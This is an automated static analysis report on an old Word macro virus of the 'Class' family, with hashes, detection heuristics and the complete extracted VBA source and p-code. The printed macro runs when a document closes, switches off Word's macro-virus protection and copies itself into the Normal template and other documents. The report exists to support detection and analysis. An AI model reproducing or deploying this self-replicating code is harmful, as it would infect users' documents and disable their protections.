Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7dce8319909f7b94…

MALICIOUS

Office (OLE)

37.5 KB Created: 1999-05-12 15:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7e1eb4b89e04afafc5a9a64f99eff751 SHA-1: 92aa3fbf769227fca1a2c47bb72663919ba8dde8 SHA-256: 7dce8319909f7b949d9638481af5fef8ab206062937c7402646137a75884e2cd
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Close subroutine that attempts to export its code to 'c:\class.sys'. This action is indicative of a downloader or dropper mechanism, likely intended to execute a second-stage payload. The presence of legacy WordBasic macro virus markers and ClamAV detections further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-37
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12289 bytes
SHA-256: 64543b176e40e736757fb0b2836f2851d48f1d8a04c164c1db72aefcf3a375bb
Detection
ClamAV: Doc.Trojan.Class-23
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
On Error GoTo out
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
Options.VirusProtection = False
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
Options.SaveNormalPrompt = False
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
Options.ConfirmConversions = False
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
If nt > 70 And ad > 0 Then GoTo out
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
If nt < 70 Then
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
    Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
End If
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
If Day(Now) = 14 And Month(Now) > 5 Then MsgBox "Hey there, Carol! ", 0, "Class.Poppy"
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
host.codemodule.AddFromFile ("c:\class.sys")
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
With host.codemodule
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
    For x = 1 To 4
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
    .deletelines 1
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
    Next x
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
End With
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
If nt < 70 Then
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
    With host.codemodule
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
    .replaceline 1, "Sub AutoClose()"
'Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc
    .replaceline 91, "Sub ToolsMacro()"
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
    For x = 70 To 81
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
        .deletelines 62
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
    Next x
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
    .replaceline 35, "    For x = 1 To 4"
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
    End With
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
End If
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
With host.codemodule
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
    For x = 2 To 104 Step 2
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
    Next x
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
End With
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
out:
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
End Sub
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
Sub ToolsMacro()
'Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc
End Sub

' Processing file: /tmp/qstore_qmvfsh8y
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6860 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #2:
' 	OnError out 
' Line #3:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #9:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #10:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St ad 
' Line #11:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #12:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St nt 
' Line #13:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #14:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo out 
' 	EndIf 
' Line #15:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #16:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #17:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' Line #19:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #20:
' 	Ld host 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #21:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #22:
' 	LitStr 0x000C "c:\class.sys"
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #23:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #26:
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' 	EndIf 
' Line #27:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #28:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000E 
' 	Eq 
' 	Ld Now 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0005 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0012 "Hey there, Carol! "
' 	LitDI2 0x0000 
' 	LitStr 0x000B "Class.Poppy"
' 	ArgsCall MsgBox 0x0003 
' 	EndIf 
' Line #29:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #30:
' 	LitStr 0x000C "c:\class.sys"
' 	Paren 
' 	Ld host 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #31:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #32:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #33:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #34:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	For 
' Line #35:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #36:
' 	LitDI2 0x0001 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #37:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #38:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #39:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #40:
' 	EndWith 
' Line #41:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #42:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #43:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #44:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #45:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #46:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #47:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:27 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #48:
' 	LitDI2 0x005B 
' 	LitStr 0x0010 "Sub ToolsMacro()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #49:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #50:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0046 
' 	LitDI2 0x0051 
' 	For 
' Line #51:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #52:
' 	LitDI2 0x003E 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #53:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #54:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #55:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #56:
' 	LitDI2 0x0023 
' 	LitStr 0x0012 "    For x = 1 To 4"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #57:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #58:
' 	EndWith 
' Line #59:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #60:
' 	EndIfBlock 
' Line #61:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #62:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #63:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #64:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	LitDI2 0x0068 
' 	LitDI2 0x0002 
' 	ForStep 
' Line #65:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #66:
' 	Ld x 
' 	LitStr 0x0001 "'"
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	Ld Now 
' 	Concat 
' 	Ld Application 
' 	MemLd ActivePrinter 
' 	Concat 
' 	Ld Application 
' 	MemLd ActiveWindow 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #67:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #68:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #69:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #70:
' 	EndWith 
' Line #71:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #72:
' 	Label out 
' Line #73:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #74:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #75:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #76:
' 	EndSub 
' Line #77:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #78:
' 	FuncDefn (Sub ToolsMacro())
' Line #79:
' 	QuoteRem 0x0000 0x003B "Ditry PC5/12/99 4:36:28 PMHP LaserJet 4 on LPT1:sample1.doc"
' Line #80:
' 	EndSub

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